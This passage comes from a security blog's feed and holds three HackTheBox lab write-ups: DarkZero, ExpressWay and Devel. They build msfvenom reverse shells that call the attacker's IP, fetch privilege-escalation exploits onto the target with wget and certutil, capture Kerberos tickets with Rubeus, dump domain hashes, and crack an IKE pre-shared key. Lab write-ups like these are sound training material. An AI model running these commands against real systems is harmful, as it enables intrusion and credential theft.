<p>If we search on <strong>Google</strong> for an <strong>exploit</strong> on <strong>Windows Server 2022</strong>, we'll see that there is a published CVE known as <strong>CVE-2024-30088</strong>, this CVE consists on a <strong>privilege escalation vulnerability on the Windows Kernel</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/df2f1e08-54c6-4943-9360-17c2f0686617.png" alt="" style="display:block;margin:0 auto" />

<p><a href="https://www.rapid7.com/db/modules/exploit/windows/local/cve_2024_30088_authz_basep/">https://www.rapid7.com/db/modules/exploit/windows/local/cve_2024_30088_authz_basep/</a></p>
<p>In this case, I used <strong>metasploit</strong> to escalate privileges. First, I created a malicious executable file using the payload <strong>windows/x64/meterpreter/reverse_tcp</strong> with <strong>msfvenom</strong>:</p>
<pre><code class="language-shell">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.x.x LPORT=4445 -f exe &gt; msfshell.exe
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/9e5b6d58-a4fd-40de-8f94-c96a1832badd.png" alt="" style="display:block;margin:0 auto" />

<p>Once uploaded the payload, we need to configure our listener on <strong>metasploit</strong>, once configured, we can run the malicious file and we'll get a <strong>meterpreter</strong> session:</p>
<pre><code class="language-shell">msfconsole -q
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4445
run
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/87a061e6-d3f5-4564-92fe-eaa525e27997.png" alt="" style="display:block;margin:0 auto" />

<p>As we can see, we've sucessfully received a reverse connection and a new <strong>meterpreter</strong> session has oppened, now, we are going to set this session to background to use the <strong>CVE-2024-30088</strong> module:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/b80ba8c1-e7b2-427f-b259-73c024aa0bac.png" alt="" style="display:block;margin:0 auto" />

<p>Once executed the exploit, we'll get access as <strong>NT AUTHORITY\SYSTEM</strong>, now, we can get the <strong>user flag</strong>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/9df54ac9-fee1-4eb8-b064-d838c26a236b.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Moving from DC02 to DC01</h2>
<p>If we check the information from <strong>DC02</strong>, we'll see that inside the same network, there is access to the Domain Control <strong>dc01.darkzero.htb</strong> with the IP Address 172.16.20.1</p>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/fbab84e9-7cc5-4c70-a2a9-2e9e716ba63f.png" alt="" style="display:block;margin:0 auto" />

<p>If we take a look back to the <strong>bloodhound</strong> scan, we saw before that both forests (<strong>DARKZERO.EXT</strong> and <strong>DARKZERO.HTB</strong>) trust each other, we can verify this manually with the command:</p>
<pre><code class="language-shell">nltest /domain_trust /server:DC02
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/eb32c873-e7de-4c89-a387-564f872978f7.png" alt="" style="display:block;margin:0 auto" />

<p>The command output <strong>confirms</strong> that there is <strong>bidirectional trust</strong> between both forests, this means that <strong>both domains trust in the Kerberos tickets from the other</strong>.</p>
<p>Now, inside <strong>DC02</strong> (were we have access as SYSTEM) we are going to use <strong>Rubeus</strong> in monitor mode to capture tickets <strong>TGT</strong> that are moving inside the system in real time:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/66c1836f-7cf4-4873-b1c5-4778586549c9.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">.\Rubeus.exe monitor /interval:10 /nowrap
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/5f08358e-95b2-4c67-821d-3744d531b7ae.png" alt="" style="display:block;margin:0 auto" />

<p>Once configured <strong>Rubeus</strong> in monitor mode, we need to force the authentication from <strong>DC01</strong> against <strong>DC02</strong>, we can do this through <strong>MSSQL</strong>, first we need to connect to <strong>MSSQL</strong>:</p>
<pre><code class="language-shell">mssqlclient.py 'darkzero.htb/john.w:RFulUtONCOL!@10.129.28.186' -windows-auth
</code></pre>
<p>And then, we are going to execute <strong>xp_dirtree</strong> pointing to a nonexistent share, this will obligate the process from <strong>SQL Server on DC01</strong> to realize an <strong>SMB connection</strong> <strong>to DC02</strong>. For that, the process will request a <strong>ticket</strong> to the <strong>KDC</strong> for <strong>cifs/DC02</strong>. Since <strong>DC02</strong> has <strong>Unconstrained Delegation</strong>, the <strong>KDC</strong> will include the <strong>TGT</strong> from <strong>DC01</strong> inside the <strong>TGS</strong>, we can <strong>capture</strong> the ticket with <strong>Rubeus</strong>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/9e724b08-b4c1-4cb3-b907-c6cf6b401954.png" alt="" style="display:block;margin:0 auto" />

<p>Once received the <strong>ticket</strong>, we need to save it as <strong>ticket.b64</strong>, then we'll decode it and save the output as <strong>ticket.kirbi</strong>, once done this, we need to convert the ticket.kirbi to a <strong>.ccache</strong> to use it with <strong>impacket</strong>:</p>
<p><strong>ticket.b64 ---&gt; ticket.kirbi ---&gt; ticket.ccache</strong></p>
<pre><code class="language-shell">echo "..." &gt; ticket.b64
base64 -d ticket.b64 &gt; ticket.kirbi
ticketConverter.py ticket.kirbi dc01darkzero.ccache
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/16177669-17ce-49d5-9ebb-e16dec2f712f.png" alt="" style="display:block;margin:0 auto" />

<p>Once we have the <strong>.ccache</strong>, we need to generate the <strong>krb5.conf</strong> file and then export it with the <strong>.ccache</strong>:</p>
<pre><code class="language-shell">nxc smb dc01.darkzero.htb -u 'john.w' -p 'RFulUtONCOL!' --generate-krb5-file ./krb5.conf
export KRB5_CONFIG=./krb5.conf
export KRB5CCNAME=dc01darkzero.ccache
klist
</code></pre>
<p>Now, we are going to use <strong>Impacket secretsdump</strong> to get all the hashes from the domain <strong>DC01</strong>:</p>
<pre><code class="language-shell">secretsdump.py -k -no-pass -dc-ip dc01.darkzero.htb DARKZERO.HTB/'dc01$'@dc01.darkzero.htb
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/a1b4d38d-879f-4088-9a34-4de46643eb1a.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:64f4771e4c60b8b176c3769300f6f3f7:::
john.w:2603:aad3b435b51404eeaad3b435b51404ee:44b1b5623a1446b5831a7b3a4be3977b:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d02e3fe0986e9b5f013dad12b2350b3a:::
darkzero-ext$:2602:aad3b435b51404eeaad3b435b51404ee:3906c9ba81eca2ba3b433b079687e4cc:::
[*] Kerberos keys grabbed
Administrator:0x14:2f8efea2896670fa78f4da08a53c1ced59018a89b762cbcf6628bd290039b9cd
Administrator:0x13:a23315d970fe9d556be03ab611730673
Administrator:aes256-cts-hmac-sha1-96:d4aa4a338e44acd57b857fc4d650407ca2f9ac3d6f79c9de59141575ab16cabd
Administrator:aes128-cts-hmac-sha1-96:b1e04b87abab7be2c600fc652ac84362
Administrator:0x17:5917507bdf2ef2c2b0a869a1cba40726
krbtgt:aes256-cts-hmac-sha1-96:6330aee12ac37e9c42bc9af3f1fec55d7755c31d70095ca1927458d216884d41
krbtgt:aes128-cts-hmac-sha1-96:0ffbe626519980a499cb85b30e0b80f3
krbtgt:0x17:64f4771e4c60b8b176c3769300f6f3f7
john.w:0x14:f6d74915f051ef9c1c085d31f02698c04a4c6804d509b7c4442e8593d6d957ea
john.w:0x13:7b145a89aed458eaea530a2bd1eb93bd
john.w:aes256-cts-hmac-sha1-96:49a6d3404e9d19859c0eea1036f6e95debbdea99efea4e2c11ee529add37717e
john.w:aes128-cts-hmac-sha1-96:87d9cbd84d85c50904eba39d588e47db
john.w:0x17:44b1b5623a1446b5831a7b3a4be3977b
DC01$:aes256-cts-hmac-sha1-96:25e1e7b4219c9b414726983f0f50bbf28daa11dd4a24eed82c451c4d763c9941
DC01$:aes128-cts-hmac-sha1-96:9996363bffe713a6777597c876d4f9db
DC01$:0x17:d02e3fe0986e9b5f013dad12b2350b3a
darkzero-ext$:aes256-cts-hmac-sha1-96:6a32c156dd806b60f023ed0f970e34dea9a6ad29e077270318ceb3e258fc0db7
darkzero-ext$:aes128-cts-hmac-sha1-96:44cf9a522cad7cd3d6038b7e5c09cbdf
darkzero-ext$:0x17:3906c9ba81eca2ba3b433b079687e4cc
</code></pre>
<p>Now, we can connect to <strong>DC01</strong> with the <strong>Administrator hash</strong> using <strong>evil-winrm</strong> and get the <strong>root flag</strong>:</p>
<pre><code class="language-plaintext">evil-winrm -i dc01.darkzero.htb -u Administrator -H 5917507bdf2ef2c2b0a869a1cba40726
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/f7684a58-30f5-45a0-bbed-5c0cb1dc3657.png" alt="" style="display:block;margin:0 auto" />

<hr />
<p>📌 <strong>Follow Me / Portfolio</strong></p>
<p>🌐 <strong>Web:</strong> <a href="https://0xnano.com">https://0xnano.com</a></p>
<p>🐦 <strong>X (Twitter):</strong> <a href="https://x.com/0xN4no">https://x.com/0xN4no</a></p>
<p>🐙 <strong>GitHub:</strong> <a href="https://github.com/0xN4no">https://github.com/0xN4no</a></p>
<p>🎥 <strong>YouTube:</strong> <a href="https://youtube.com/@0xNano">https://youtube.com/@0xNano</a></p>
<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />

<p>🔎 <strong>Did you enjoy the write-up?</strong> Feel free to comment or share it — I’m always happy to answer questions and I love seeing improvements or pull requests.</p>
]]></content:encoded></item><item><title><![CDATA[ExpressWay WriteUp]]></title><description><![CDATA[Iniciamos con un escaneo de nmap:
nmap -sV -Pn -sC 10.129.10.150



Como en TCP esta solo el puerto 22 abierto, el cual corresponde a ssh, realizamos tambien un escaneo de puertos UDP:
sudo nmap -sU -]]></description><link>https://blog.0xnano.com/expressway-writeup</link><guid isPermaLink="true">https://blog.0xnano.com/expressway-writeup</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[htb]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[hackthebox machine]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[Linux]]></category><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Sat, 07 Mar 2026 18:51:42 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/2e343191-853b-4ce8-9637-ded8c6d3e77c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Iniciamos con un escaneo de nmap:</p>
<pre><code class="language-shell">nmap -sV -Pn -sC 10.129.10.150
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/5d8664ec-ce7b-4c11-9c62-083b0393d44a.png" alt="" style="display:block;margin:0 auto" />

<p>Como en TCP esta solo el puerto 22 abierto, el cual corresponde a ssh, realizamos tambien un escaneo de puertos UDP:</p>
<pre><code class="language-shell">sudo nmap -sU -vv -Pn --min-rate 5000 10.129.10.150
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/5512acca-2765-4e74-a9f7-f5091e99b21d.png" alt="" style="display:block;margin:0 auto" />

<p>Tras obtener los resultados del escaneo, notaremos que el puerto 500 esta abierto:</p>
<pre><code class="language-plaintext">500/udp   open   isakmp         udp-response ttl 63
</code></pre>
<h2>Que es isakmp?</h2>
<p><strong>Internet Security Association and Key Management Protocol</strong></p>
<p>Es el protocolo utilizado para <strong>negociar los parámetros de seguridad antes de crear un túnel VPN IPsec</strong>.</p>
<p>Entre otras cosas negocia:</p>
<ul>
<li><p>algoritmo de cifrado</p>
</li>
<li><p>algoritmo hash</p>
</li>
<li><p>grupo Diffie-Hellman</p>
</li>
<li><p>método de autenticación (PSK o certificados)</p>
</li>
</ul>
<p>Para interactuar con el servicio usamos la herramienta <code>ike-scan</code>. En este caso utilizamos la flag <code>-M</code> para mostrar la salida en múltiples líneas y facilitar su lectura. A partir de esta información, podemos identificar datos como:</p>
<ul>
<li><p>algoritmos soportados</p>
</li>
<li><p>método de autenticación</p>
</li>
<li><p>características del servidor</p>
</li>
</ul>
<pre><code class="language-shell">sudo ike-scan -M 10.129.10.150
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/f974e1c5-6003-47d1-b10f-0c329c059d67.png" alt="" style="display:block;margin:0 auto" />

<p>Esto nos dice que:</p>
<ul>
<li><p>usa <strong>3DES</strong></p>
</li>
<li><p>usa <strong>SHA1</strong></p>
</li>
<li><p>usa <strong>Diffie-Hellman group 2</strong></p>
</li>
<li><p>la autenticación es <strong>PSK (Pre Shared Key)</strong></p>
</li>
</ul>
<p>Luego ejecutamos el mismo comando, pero agregando la opción <code>--showbackoff</code> para mostrar la tabla de <em>backoff</em>, la cual puede utilizarse para identificar la implementación IKE del host remoto:</p>
<pre><code class="language-shell">sudo ike-scan -M --showbackoff 10.129.10.150
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/ed7ef47c-d399-44e6-a0c5-22bcbaf19b82.png" alt="" style="display:block;margin:0 auto" />

<p>En este caso, el resultado sugiere:</p>
<pre><code class="language-shell">Implementation guess: Linksys Etherfast
</code></pre>
<p>Esto indica que la implementación del servicio IKE podría corresponder a un dispositivo o stack compatible con Linksys Etherfast, aunque esta identificación no siempre es completamente precisa.</p>
<p>A continuación utilizamos Aggressive Mode para obtener más información del servicio IKE:</p>
<ul>
<li><p><code>-P</code>: muestra los parámetros del PSK obtenidos en Aggressive Mode, utilizables para cracking offline.</p>
</li>
<li><p><code>-M</code>: para que utilice multiline y muestre la salida en múltiples líneas para facilitar su lectura.</p>
</li>
<li><p><code>-A</code>: Fuerza el uso de IKE Aggressive Mode.</p>
</li>
<li><p><code>-N</code>: Evita la resolución DNS durante el escaneo.</p>
</li>
<li><p><code>--id=groupnamedoesnotexist</code>: Define un Group ID arbitrario para iniciar el intercambio IKE.</p>
</li>
</ul>
<pre><code class="language-shell">sudo ike-scan -P -M -A -n --id=groupnamedoesnotexist 10.129.10.150
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/3232ea78-fd67-41d9-9694-9d2028d175ee.png" alt="" style="display:block;margin:0 auto" />

<p>El servidor devuelve el siguiente identificador:</p>
<pre><code class="language-shell">ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
</code></pre>
<p>Esto revela el <strong>identificador utilizado en la autenticación IKE</strong>, que en este caso es:</p>
<pre><code class="language-shell">ike@expressway.htb
</code></pre>
<p>El intercambio IKE en Aggressive Mode devuelve los parámetros necesarios para realizar un ataque offline contra el Pre-Shared Key (PSK).</p>
<p>Estos parámetros incluyen valores del intercambio Diffie-Hellman, nonces y el hash de autenticación generado durante el handshake, que puede ser utilizado para intentar recuperar la clave compartida mediante un ataque de diccionario.</p>
<p>Para ello, copiamos los parámetros obtenidos del output de ike-scan y los guardamos en un archivo:</p>
<pre><code class="language-shell">echo d369998823b1ee395c04a7aabefbf68dcf... &gt; ike.hash
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/57c07f8e-cf01-4491-97c3-2aded13e16f2.png" alt="" style="display:block;margin:0 auto" />

<p>Este archivo contiene los <strong>parámetros del intercambio IKE necesarios para realizar el cracking del PSK</strong>.</p>
<p>A continuación utilizamos la herramienta <code>psk-crack</code>, incluida junto con <code>ike-scan</code>, para realizar un ataque de diccionario utilizando la wordlist <strong>rockyou</strong>:</p>
<pre><code class="language-shell">psk-crack ike.hash -d /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/a917e834-0b45-46a5-b257-0031e26081d3.png" alt="" style="display:block;margin:0 auto" />

<p>Obtenemos la clave:</p>
<pre><code class="language-plaintext">freakingrockstarontheroad
</code></pre>
<p>Utilizamos la clave para autenticarnos mediante ssh con el usuario previamente obtenido, y obtenemos la flag de user:</p>
<pre><code class="language-shell">ssh ike@10.129.10.150
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/527e5078-f34b-4011-a933-62e4dc8b8f12.png" alt="" style="display:block;margin:0 auto" />

<p>User Flag: <code>876d5b5c97deb07c0aea1a96b76132cf</code></p>
<hr />
<h2>Escalada de privilegios</h2>
<p>Una vez obtenida una shell en la máquina como el usuario <code>ike</code>, intentamos verificar si el usuario tiene permisos de <code>sudo</code> ejecutando:</p>
<pre><code class="language-shell">sudo -l
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/8475b3e0-fc64-4ef1-aa3a-f88e0f62a723.png" alt="" style="display:block;margin:0 auto" />

<p>La respuesta del sistema indica que el usuario <strong>no tiene permisos para ejecutar comandos mediante</strong> <code>sudo</code>, por lo que debemos buscar otros posibles vectores de escalada de privilegios.</p>
<p>Para identificar posibles vectores de escalada de privilegios, utilizamos la herramienta <strong>linpeas</strong>, la cual automatiza la enumeración de configuraciones inseguras, permisos incorrectos y versiones vulnerables de software.</p>
<p>Primero levantamos un servidor HTTP en nuestra máquina atacante para transferir la herramienta:</p>
<pre><code class="language-shell">python -m http.server 8081
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/efca396b-92e5-400e-9f21-ea5b8433b4a0.png" alt="" style="display:block;margin:0 auto" />

<p>Luego descargamos el script en la máquina objetivo:</p>
<pre><code class="language-shell">wget http://IP/linpeas.sh
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/802fb86f-b728-4e04-8832-829175364940.png" alt="" style="display:block;margin:0 auto" />

<p>Una vez subido, le damos permiso de ejecucion con <code>chmod +x linpeas.sh</code> y lo ejecutamos con <code>./linpeas.sh</code></p>
<p>Tras revisar la salida de <strong>linpeas</strong>, observamos que el sistema utiliza una versión potencialmente vulnerable de <code>sudo</code>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/d85a1488-a38b-445c-ac5f-b76af0e0a5da.png" alt="" style="display:block;margin:0 auto" />

<p>Para confirmarlo verificamos la versión instalada:</p>
<pre><code class="language-shell">/usr/local/bin/sudo --version
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/9e203ed3-0499-419f-b5ac-d574c26b39ae.png" alt="" style="display:block;margin:0 auto" />

<h2>CVE-2025-32463</h2>
<p>Buscando exploits públicos para esta versión encontramos una vulnerabilidad identificada como <code>CVE-2025-32463</code>. Esta vulnerabilidad permite <strong>escalar privilegios a root mediante un bypass del entorno chroot en sudo</strong>.</p>
<p><a href="https://www.exploit-db.com/exploits/52352">https://www.exploit-db.com/exploits/52352</a></p>
<p><a href="https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/">https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/</a></p>
<blockquote>
<p><strong>El CVE-2025-32463 es una vulnerabilidad crítica de escalada local de privilegios en</strong> <code>sudo</code><strong>, relacionada con la opción</strong> <code>--chroot</code> <strong>(</strong><code>-R</code><strong>). Debido a un manejo inseguro de</strong> <code>nsswitch.conf</code><strong>, un usuario local puede hacer que</strong> <code>sudo</code> <strong>cargue configuración desde un directorio controlado por él y, en determinadas condiciones, lograr ejecución de código como</strong> <code>root</code><strong>. Afecta a versiones anteriores a</strong> <code>sudo</code> <strong>1.9.17p1.</strong></p>
</blockquote>
<p>Clonamos el exploit desde GitHub en nuestra máquina atacante:</p>
<pre><code class="language-shell">git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/
</code></pre>
<p>Luego iniciamos nuevamente un servidor HTTP para transferir el exploit a la máquina objetivo:</p>
<pre><code class="language-shell">python -m http.server 8081
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/26a9037d-dabe-48a6-90ed-1f9be0b397a1.png" alt="" style="display:block;margin:0 auto" />

<p>En la máquina víctima descargamos el exploit:</p>
<pre><code class="language-shell">wget http://10.10.15.106:8081/sudo-chwoot.sh
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/ebe45b0b-ae44-4ebd-ac4f-a97725f1b0a3.png" alt="" style="display:block;margin:0 auto" />

<p>Le damos permisos de ejecucion con <code>chmod +x sudo-chwoot.sh</code> y lo ejecutamos junto con el comando <code>whoami</code> para confirmar que el exploit funciona:</p>
<pre><code class="language-shell">./sudo-chwoot.sh whoami
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/e47f0982-3741-44a1-a7b8-fd696b0ac365.png" alt="" style="display:block;margin:0 auto" />

<p>Si revisamos el resultado, veremos que el exploit se ejecuta con exito y tenemos acceso como root, por lo cual, vamos a volver a lanzar el comando, pero que esta vez nos devuelva una shell como root, para de esta forma obtener la flag:</p>
<pre><code class="language-shell">./sudo-chwoot.sh /bin/bash
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/79c0e124-bdf8-49e5-a127-b0e778d5fc0f.png" alt="" style="display:block;margin:0 auto" />

<p>Root Flag: <code>da872bcc3e0e3f20b20bf26b1502a8b9</code></p>
<hr />
<p>📌 <strong>Sígueme / Portfolio</strong></p>
<p>🌐 <strong>Web:</strong> <a href="https://0xnano.com">https://0xnano.com</a></p>
<p>🐦 <strong>X:</strong> <a href="https://x.com/0xN4no">https://x.com/0xN4no</a></p>
<p>🐙 <strong>GitHub:</strong> <a href="https://github.com/0xN4no">https://github.com/0xN4no</a></p>
<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />

<p>🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.</p>
]]></content:encoded></item><item><title><![CDATA[Devel WriteUp]]></title><description><![CDATA[Iniciamos con un escaneo de puertos:
$nmap -sV -Pn -sC --script vuln -v 10.129.20.174


Si verificamos el puerto 80, notaremos que el servidor esta utilizando el servidor web de Microsoft IIS en su ve]]></description><link>https://blog.0xnano.com/devel-writeup</link><guid isPermaLink="true">https://blog.0xnano.com/devel-writeup</guid><category><![CDATA[metasploit]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[htb]]></category><category><![CDATA[hackthebox machine]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Windows]]></category><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Thu, 06 Nov 2025 20:51:02 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/54c30019-8b85-4258-83da-99b9255f52d0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Iniciamos con un escaneo de puertos:</p>
<p><code>$nmap -sV -Pn -sC --script vuln -v 10.129.20.174</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762461998088/f26c702b-9a80-41f3-bd59-39b81df4e41f.png" alt="" />

<p>Si verificamos el puerto 80, notaremos que el servidor esta utilizando el servidor web de Microsoft IIS en su version 7.5</p>
<p><a href="http://10.29.20.174">http://10.29.20.174</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462005667/64c26936-e481-40e7-92b0-f860c7402a20.png" alt="" />

<p>Probamos conectarnos por ftp como usuario anonimo y obtenemos conexion:</p>
<p><code>$ ftp anonymous@10.129.20.174</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462012442/1e1fe664-12a0-40fb-ada1-f281018e2859.png" alt="" />

<p>Si revisamos los archivos del ftp, veremos que entre ellos se encuentran:</p>
<p>- welcome.png -&gt; Imagen de bienvenida</p>
<p>- iistart.htm -&gt; Archivo de sitio predeterminado de Microsft IIS</p>
<p>- aspnet_client -&gt; Carpeta de recursos</p>
<p>Si revisamos el servidor web, notaremos que si entramos a /welcome.png podremos ver la imagen de bienvenida que encontramos previamente en el ftp</p>
<p><a href="http://10.29.20.174/welcome.png">http://10.29.20.174/welcome.png</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462019073/1581e749-19d1-4a9e-af87-107b9d50bd3c.png" alt="" />

<p>Por lo tanto, analizando el escenario actual, un posible vector de entrada, seria subir una shell mediante el FTP y ejecutarla con el fin de obtener una conexion inversa.</p>
<p>Para ello, primero probaremos creando un archivo dummy para intentar subirlo al servidor ftp, primero creamos un simple txt con:</p>
<p><code>$ echo "0xNano" &gt; pwned.txt</code></p>
<p>Y lo subimos al servidor ftp con el comando put:</p>
<p><code>put pwned.txt</code></p>
<p>Si revisamos la terminal en la que tenemos la conexion ftp, y lanzamos el comando <code>dir</code> veremos que el archivo se ha subido con exito</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462029310/2ea8db53-5b6d-412d-8252-07de90bf02bd.png" alt="" />

<p>Comprobamos que el archivo se pueda leer desde el servidor web entrando a:</p>
<p><a href="http://10.29.20.174/pwned.txt">http://10.29.20.174/pwned.txt</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462036667/60ea3e7c-5d54-4e26-b515-62e7cb36ef02.png" alt="" />

<p>Como pudimos subir el archivo txt con exito, ahora procederemos a subir una revshell, para ello, primero debemos crearla con msfvenom:</p>
<p><code>$ msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.80 LPORT=4444 -f aspx &gt; shell.aspx</code></p>
<p>Una vez creada nuestra revshell, la subimos al ftp con el comando</p>
<p><code>put shell.aspx</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462043023/e3a19000-78d3-4eba-951b-10b9efa06972.png" alt="" />

<p>Iniciamos la consola de metasploit con <code>msfconsole -q</code> y la configuramos para que reciba la conexion:</p>
<pre><code class="language-plaintext">use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.80
set LPORT 4444
</code></pre>
<p>Iniciamos el listener de metasploit con el comando <code>run</code> para que se ponga a la escucha en nuestra maquina en el puerto que le asignamos previamente</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462054924/27005716-245e-4fe2-b659-3244e29012a2.png" alt="" />

<p>Ejecutamos la shell accediendo a:</p>
<p><a href="http://10.29.20.174/shell.aspx">http://10.29.20.174/shell.aspx</a></p>
<p>Y recibimos la conexion en nuestra consola de metasploit, si comprobamos con el comando <code>getuid</code> veremos que tenemos acceso como el usuario <code>IIS APPPOOL\Web</code> y si consultamos la informacion del sistema con <code>sysinfo</code> veremos que se trata de una maquina Windows 7 6.1 con arquitectura x86</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462061753/e55c55a5-6ab7-4140-8abe-8f7afb96e279.png" alt="" />

<p>Como pudimos observar, no tenemos permisos de administrador y el uso con ese usuario es muy limitado, por lo que debemos escalar privilegios, para ello, pondremos la session en segundo plano con el comando <code>background</code> y buscamos en la consola de metasploit el exploit suggester con:</p>
<p><code>search exploit suggester</code></p>
<p>Configuramos el exploit suggester para que corra en la sesion 1 con:</p>
<p><code>set SESSION 1</code></p>
<p>Y lo ejecutamos con el comando <code>run</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462070887/7893b281-7de2-43ef-a3e3-187643e5ac67.png" alt="" />

<p>Al terminar de ejecutarse el exploit suggester, nos recomendara varios exploits para escalar privilegios</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462077819/382491e1-5480-486e-a259-724c81e24002.png" alt="" />

<p>Tras probar con algunos exploits y no tener exito debido a problemas de metasploit, decidi buscar de forma manual</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462085423/e6a10c65-cdbc-4225-8393-982b31594095.png" alt="" />

<p>Tras buscar en Google vulnerabilidades que permitan escalada de privilegios en Windows 7 6.1 encontre varios resultados</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462092033/fa04453b-3341-47b2-ae38-886da7b4c5cf.png" alt="" />

<p>Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046):</p>
<p><a href="https://www.exploit-db.com/exploits/40564">https://www.exploit-db.com/exploits/40564</a></p>
<p>CVE-2011-1249 es una vulnerabilidad de elevación de privilegios en el controlador AFD (Ancillary Function Driver), responsable de manejar las comunicaciones Winsock TCP/IP en Windows (archivo afd.sys). El fallo ocurre porque el controlador no valida correctamente los datos enviados desde el modo usuario al kernel, lo que permite a un atacante con credenciales válidas y acceso local ejecutar código arbitrario con privilegios de sistema (NT AUTHORITY\SYSTEM).</p>
<p>Tras buscar una prueba de concepto (PoC), encontre la siguiente en GitHub:</p>
<p><a href="https://github.com/mishmashclone/SecWiki-windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe">https://github.com/mishmashclone/SecWiki-windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe</a></p>
<p>Descargamos el exploit de GitHub en nuestra maquina, iniciamos un servidor http con python donde este ubicado el exploit, y lo subimos a la maquina victima con el comando:</p>
<p><code>certutil -urlcache -split -f</code> <a href="http://10.10.14.80/ms11-046.exe"><code>http://10.10.14.80/ms11-046.exe</code></a></p>
<p>Tras ejecutarlo, notaremos que si ejecutamos el comando <code>whoami</code> somos <code>nt authority\system</code></p>
